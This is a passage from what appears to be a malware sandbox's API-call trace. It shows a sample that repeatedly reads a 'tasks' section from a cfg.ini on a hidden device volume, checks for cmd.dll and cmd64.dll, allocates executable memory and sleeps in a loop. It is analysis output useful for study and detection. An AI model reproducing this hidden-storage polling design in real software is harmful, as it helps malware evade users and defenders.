_Dest="0d24eb7c\\cfg.ini") returned 16 [0127.910] KeEnterCriticalRegion () [0127.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.910] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.910] KeLeaveCriticalRegion () [0127.910] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.910] KeEnterCriticalRegion () [0127.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.910] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.910] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.910] KeLeaveCriticalRegion () [0127.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.910] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.910] KeEnterCriticalRegion () [0127.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.910] ExFreePoolWithTag (P=0xfffffa8003bfd8c0, Tag=0x0) [0127.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.910] KeLeaveCriticalRegion () [0127.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.910] ReleaseMutex (hMutex=0xf0) returned 1 [0127.910] Sleep (dwMilliseconds=0x927c0) [0127.926] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.926] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.932] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.932] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.932] KeEnterCriticalRegion () [0127.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.932] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.932] IdePortDispatch () returned 0x103 [0127.932] KeWaitForMutexObject () returned 0x0 [0127.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.933] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.933] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.933] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.933] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.933] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfaa80 [0127.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.933] KeLeaveCriticalRegion () [0127.933] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.933] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.933] KeEnterCriticalRegion () [0127.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.933] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.933] KeLeaveCriticalRegion () [0127.933] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.933] KeEnterCriticalRegion () [0127.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.933] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.933] IdePortDispatch () returned 0x103 [0127.933] KeWaitForMutexObject () returned 0x0 [0127.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.933] KeLeaveCriticalRegion () [0127.933] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.934] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.934] KeEnterCriticalRegion () [0127.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.934] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c79000 [0127.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.934] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.934] IdePortDispatch () returned 0x103 [0127.934] KeWaitForMutexObject () returned 0x0 [0127.934] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.934] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.934] IdePortDispatch () returned 0x103 [0127.934] KeWaitForMutexObject () returned 0x0 [0127.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.935] KeLeaveCriticalRegion () [0127.935] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.935] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.935] KeEnterCriticalRegion () [0127.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.935] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.935] KeLeaveCriticalRegion () [0127.935] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.935] KeEnterCriticalRegion () [0127.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.935] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.935] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd6d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.935] KeLeaveCriticalRegion () [0127.936] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.936] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.936] KeEnterCriticalRegion () [0127.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.936] ExFreePoolWithTag (P=0xfffffa8003bfaa80, Tag=0x0) [0127.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.936] KeLeaveCriticalRegion () [0127.936] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.936] ReleaseMutex (hMutex=0xf0) returned 1 [0127.936] Sleep (dwMilliseconds=0x927c0) [0127.954] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.954] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.954] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.954] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.954] KeEnterCriticalRegion () [0127.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.954] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.954] IdePortDispatch () returned 0x103 [0127.955] KeWaitForMutexObject () returned 0x0 [0127.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.955] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.955] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.955] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.955] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.955] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c5fea90 [0127.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.955] KeLeaveCriticalRegion () [0127.955] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.955] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.955] KeEnterCriticalRegion () [0127.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.955] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.955] KeLeaveCriticalRegion () [0127.955] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.955] KeEnterCriticalRegion () [0127.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.955] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.955] IdePortDispatch () returned 0x103 [0127.955] KeWaitForMutexObject () returned 0x0 [0127.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.956] KeLeaveCriticalRegion () [0127.956] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.956] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.956] KeEnterCriticalRegion () [0127.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.956] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7e000 [0127.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.956] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.956] IdePortDispatch () returned 0x103 [0127.956] KeWaitForMutexObject () returned 0x0 [0127.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.957] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.957] IdePortDispatch () returned 0x103 [0127.957] KeWaitForMutexObject () returned 0x0 [0127.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.957] KeLeaveCriticalRegion () [0127.957] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.958] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.958] KeEnterCriticalRegion () [0127.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.958] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.958] KeLeaveCriticalRegion () [0127.958] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.958] KeEnterCriticalRegion () [0127.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.958] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.958] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd6d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.958] KeLeaveCriticalRegion () [0127.958] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.958] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.958] KeEnterCriticalRegion () [0127.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.958] ExFreePoolWithTag (P=0xfffffa800c5fea90, Tag=0x0) [0127.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.958] KeLeaveCriticalRegion () [0127.958] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.958] ReleaseMutex (hMutex=0xf0) returned 1 [0127.958] Sleep (dwMilliseconds=0x927c0) [0127.977] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.977] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.977] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.977] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.977] KeEnterCriticalRegion () [0127.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.977] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.977] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.977] IdePortDispatch () returned 0x103 [0127.977] KeWaitForMutexObject () returned 0x0 [0127.977] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.977] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.977] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.977] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.977] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.977] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd610 [0127.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.977] KeLeaveCriticalRegion () [0127.977] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.978] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.978] KeEnterCriticalRegion () [0127.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.978] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.978] KeLeaveCriticalRegion () [0127.978] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.978] KeEnterCriticalRegion () [0127.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.978] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.978] IdePortDispatch () returned 0x103 [0127.978] KeWaitForMutexObject () returned 0x0 [0127.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.978] KeLeaveCriticalRegion () [0127.978] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.978] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.978] KeEnterCriticalRegion () [0127.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.978] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c83000 [0127.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.979] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.979] IdePortDispatch () returned 0x103 [0127.979] KeWaitForMutexObject () returned 0x0 [0127.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.979] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.979] IdePortDispatch () returned 0x103 [0127.979] KeWaitForMutexObject () returned 0x0 [0127.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.979] KeLeaveCriticalRegion () [0127.979] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.980] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.980] KeEnterCriticalRegion () [0127.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.980] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.980] KeLeaveCriticalRegion () [0127.980] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.980] KeEnterCriticalRegion () [0127.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.980] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.980] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.980] KeLeaveCriticalRegion () [0127.980] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.980] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.980] KeEnterCriticalRegion () [0127.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.980] ExFreePoolWithTag (P=0xfffffa8003bfd610, Tag=0x0) [0127.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.981] KeLeaveCriticalRegion () [0127.981] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.981] ReleaseMutex (hMutex=0xf0) returned 1 [0127.981] Sleep (dwMilliseconds=0x927c0) [0127.985] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.985] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.994] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.994] _snprintf (in: 